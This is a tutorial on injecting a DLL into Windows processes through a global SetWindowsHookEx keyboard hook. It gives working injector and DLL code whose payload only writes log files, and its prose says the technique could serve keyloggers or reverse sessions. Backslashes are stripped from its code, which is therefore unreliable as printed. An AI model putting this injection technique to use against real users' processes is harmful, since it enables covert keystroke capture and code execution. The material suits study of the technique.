Using SetWindowsHookEx for DLL Injection on Windows

Introduction

Note: all the code examples can be found on my Github profile under visual-studio-projects accessible here: https://github.com/proteansec .** **

In this tutorial, we'll take a look at the DLL injections by using the SetWindowsHookEx method. I haven't found a good blog post on the subject, which is the reason I decided to write one that will cover that and serve as a reference for future security researchers trying to understand this method. First, I'll explain what we'll actually be doing throughout the article, so you may understand the method before looking at an actual example.

Let's take a look at the picture below, which clarifies what we'll be doing next. At first, the picture might seem daunting, but we'll explain it in a bit. In the middle of the picture we can see the victim.exe process (in purple color), where we want to inject a malicious DLL. When the DLL is injected into the process it's DllMain function will be called where we can do whatever we may want. Usually, we want to change the IAT import table of the process, so whenever the process calls some function, it will end up calling some other function: our malicious function.

We've figured that if we're able to inject our DLL into the victim.exe process, we would practically be able to do anything in the process' address space. The first thing that we need is malicious DLL file, which we must code ourselves. We must write the code that does exactly what we want the DLL to do when it's injected into the process's address space. To inject the DLL into the process's address space, we'll use the SetWindowsHookEx function. To be able to use that function, we first need another program program.exe, which we can see on the picture below. That program needs the action we'll be hooking and the inject.dll, which is our malicious DLL we'll be injecting into the victim.exe's process space. The program.exe must first get a handle to our DLL and then get address of one of the exported functions inside that DLL. This means that we need to code our DLL is such a way it exports at least one function. After that, the program.exe will be calling SetWindowsHookEx function passing it the action to be hooked as well as the address of the exported function inside inject.dll.

image0

The SetWindowsHookEx function will install the hook routine into the hook chain of the victim.exe process, which will be invoked whenever certain event is triggered. In our case, the event that needs to be triggered is the action that we've inputted into the SetWindowsHookEx function. Later on, we'll be using the WH_KEYBOARD action, which means that whenever we'll press some key inside the victim.exe process, the previously obtained exported function in the injected DLL will be called. When the event occurs, the OS first checks whether the required DLL is already loaded in to the process's address space. If it isn't, then the OS must load (read inject) the DLL into the process's address space upon which the DllMain function of the DLL is called. After that, the exported function we passed to the SetWindowsHookEx is also called to handle the triggered event—in our case a key press. On all subsequent key presses, the DLL need not be reloaded, because it's already loaded in the process's address space. This effectively enables us to do whatever we want in the hooked address space of the program. ** **

The SetWindowsHookEx Method

The SetWindowsHookEx installs a hook routine into the hook chain, which is then invoked whenever certain events are triggered. Let's take a look at the function syntax (note that the picture was taken from [4]):

image1

  • The parameters to the SetWindowsHooEx functions are as follows (summarized after [4]):

  • idHook: the type of hook to be installed, which can hold one of the following values:

    • WH_CALLWNDPROC
    • WH_CALLWNDPROCRET
    • WH_CBT
    • WH_DEBUG
    • WH_FOREGROUNDIDLE
    • WH_GETMESSAGE
    • WH_JOURNALPLAYBACK
    • WH_JOURNALRECORD
    • WH_KEYBOARD
    • WH_KEYBOARD_LL
    • WH_MOUSE
    • WH_MOUSE_LL
    • WH_MSGFILTER
    • WH_SHELL
    • WH_SYSMSGFILTER
  • If you would like to understand every single hook type, reference the documentation accessible at [4].

  • lpfn: a pointer to the hook function.

  • hMod: a handle to the DLL that contains the hook function.

  • dwThreadId: the identifier of the thread, which calls the hook function. If the parameter is 0, the hook will be called by all threads, so we don't have to restrict it to particular thread ID.

If the function succeeds, it returns a HHOOK handle to the hook function. Otherwise the function returns NULL. All of the above constants are written in the winuser.h header file, which is part of the Windows driver development kit, and can be seen on the picture below:

image2

In our case, we'll be hooking the WH_KEYBOARD type of event, which will allow us to monitor keystroke messages.

Creating the inject.dll

The first step when injecting the DLL into some process's address space is creating the DLL itself. We won't go into the details on how to do that, since it's pretty much self-explanatory. We need to start a new project inside Visual Studio and select DLL when creating it. After that, we can change the dllmain.c source code into something that looks like the following:

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>

INT APIENTRY DllMain(HMODULE hDLL, DWORD Reason, LPVOID Reserved) {
/* open file */
FILE *file;
fopen_s(&file, "C:temp.txt", "a+");

switch(Reason) {
case DLL_PROCESS_ATTACH:
fprintf(file, "DLL attach function called.n");
break;
case DLL_PROCESS_DETACH:
fprintf(file, "DLL detach function called.n");
break;
case DLL_THREAD_ATTACH:
fprintf(file, "DLL thread attach function called.n");
break;
case DLL_THREAD_DETACH:
fprintf(file, "DLL thread detach function called.n");
break;
}

/* close file */
fclose(file);

return TRUE;
}

extern "C" __declspec(dllexport) int meconnect(int code, WPARAM
wParam, LPARAM lParam) {
FILE *file;
fopen_s(&file, "C:function.txt", "a+");
fprintf(file, "Function keyboard_hook called.n");
fclose(file);
return(CallNextHookEx(NULL, code, wParam, lParam));
}

We can see that we have a pretty simple DLL. The DllMain() function is called when the DLL is loaded into the process's address space. Upon that, one of the four messages is written to the C:temp.txt file based on the reason why the function was called. But there's also a function named meconnect, which is an exported function and saves the message "Function keyboard_hook called." into the C:function.txt file. This is all there is to our DLL, it's pretty simple and doesn't do anything. If we would like to program a keylogger, we could simply done so in the DLL code where we would have to hook certain functions in the IAT import table. There are plenty of possibilities we can explore, because once the DLL is loaded, our code is being called. This is also the reason that we can do pretty much anything related to this process. We can instruct it to connect back to us and form a reverse session, we can send each pressed keystroke inside this application to the server over HTTP protocol, etc.

Creating the program.exe

The next thing that we need to do is create the program.exe as was demonstrated on the first picture of the article. This is the program that will do the actual injection of our DLL into the process's address space. Let's not waste any more words and present the code of the program straight away. We can see the code below:

#include "stdafx.h"
#include <Windows.h>

int _tmain(int argc, _TCHAR* argv[])
{

/*
* Load library in which we'll be hooking our functions.
*/
HMODULE dll = LoadLibrary(L"C:driversdllinject.dll");
if(dll == NULL) {
printf("The DLL could not be found.n");
getchar();
return -1;
}

/*
* Get the address of the function inside the DLL.
*/
HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "meconnect");
if(addr == NULL) {
printf("The function was not found.n");
getchar();
return -1;
}

/*
* Hook the function.
*/
HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
if(handle == NULL) {
printf("The KEYBOARD could not be hooked.n");
}

/*
* Unhook the function.
*/
printf("Program successfully hooked.nPress enter to unhook the
function and stop the program.n");
getchar();
UnhookWindowsHookEx(handle);

return 0;
}

The code of the program is again pretty simple. First, we're calling the LoadLibrary function to load our DLL into perspective. If the DLL isn't found a simple message, "The DLL could not be found." is printed to the console window. For the DLL to be found we must change the path from the C:driversdllinject.dll to whatever the path to our DLL is or we can move the DLL to reflect the preset path. After that, we're calling the GetProcAddress function to get the address of the meconnect function that we exported in previously coded DLL. At this point, we can use the dumpbin tool to check whether that function is actually exported. The output from that command can be seen below:

> dumpbin /EXPORTS C:driversdllinject.dll
Microsoft (R) COFF/PE Dumper Version 10.00.30319.01
Copyright (C) Microsoft Corporation. All rights reserved.

Dump of file C:driversdllinject.dll

File Type: DLL

Section contains the following exports for dllinject.dll

00000000 characteristics
517A2D25 time date stamp Fri Apr 26 09:30:45 2013
0.00 version
1 ordinal base
1 number of functions
1 number of names

ordinal hint RVA name

1 0 000110F5 meconnect = @ILT+240(_meconnect)

Summary

1000 .data
1000 .idata
2000 .rdata
1000 .reloc
1000 .rsrc
4000 .text
10000 .textbss

Notice that only one function is exported and it's exactly the meconnect function. The program.exe effectively gets the address of that function when calling GetProcAddress function. After that, the program calls the most important function, the SetWindowsHookEx. The parameters passed to that function determine what the function will actually do. Let's look at that function call again:

HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0);
if(handle == NULL) {
printf("The KEYBOARD could not be hooked.n");
}

We can see that we want to hook the WH_KEYBOARD events, which means that whenever the keyboard event will occur, our function will be called. We're also passing the address to the function in our DLL as the function parameters: this is the addr parameter we can see above. The dll parameter is just a handle to our DLL. The last parameter 0 specifies that we want all programs to be hooked, not just a specific one.

At last, we're also calling the getchar() function to pause the execution of the program and the UnhookWindowsHookEx() function to unhook the previously hooked WH_KEYBOARD action.

Seeing Everything in Action

So far, we've presented the two required pieces that tie the whole process together:

  • inject.dll: this is the DLL that will be injected into some process's address space
  • process.exe: this is the program that will inject the DLL into some process's address space

Everything is in order, but we still have to see some action. Let's now compile and start the program.exe (note that the inject.dll should also be compiled and placed in the C:drivers directory on the hard drive). After we've compiled the program successfully, the following will be printed to the console window:

image3

We can see that everything was completed successfully and at this point whenever we start a program in the Windows Desktop, our DLL will be injected into its address space. We can check this by loading the OllyDbg debugger and starting putty.exe program. The program will start normally with the following DLLs loaded:

image4

We can see that so far the dllinject.dll was not loaded into the putty's address space. But how can that be if we've already started the program.exe that does exactly that? The answer is very simple and it has to do with the WH_KEYBOARD constant we passed to the SetWindowsHookEx function. That keyboard specifies that DLL will be injected into the process's address space only when certain key is pressed inside the program. So if we go into the putty.exe process now, and click in the "Host Name" input box and press some key, OllyDbg will print the following:

image5

This error just tells us that the dllinject was injected into the process's address space and its entry point is outside of the code section of the program. We can simply press OK and analyze the loaded modules again. We can see all the loaded modules on the picture below:

image6

Notice the second entry, which is our dllinject.dll that was injected into the process's address space. After that, we can check the contents of the C:temp.txt file, which can be seen on the picture below:

image7

We can see that the right message about DLL attach being called was saved into the file. Don't worry if there are multiple same entries saved in those files. This just means that the DLL was injected into multiple programs (this is a direct effect of passing the number 0 as the forth parameter to the SetWindowsHookEx function). If we open the C:function.txt, we can see that our exported function was also called. The contents of that file are presented below:

image8

Conclusion

In this article, we've seen how we can use the SetWindowsHookEx function to inject the DLL into the process's address space and execute arbitrary code inside the process's address space.

References:

[1] API Hooking with MS Detours,

http://www.codeproject.com/Articles/30140/API-Hooking-with-MS-Detours#Trad.

[2] Working with the AppInit_DLLs registry value, http://support.microsoft.com/kb/197571.

[3] DllMain entry point,

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682583(v=vs.85).aspx.

[4] SetWindowsHookEx function,

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx.

[5] SetWindowsHookEx (user32), http://www.pinvoke.net/default.aspx/user32/SetWindowsHookEx.html.

Comments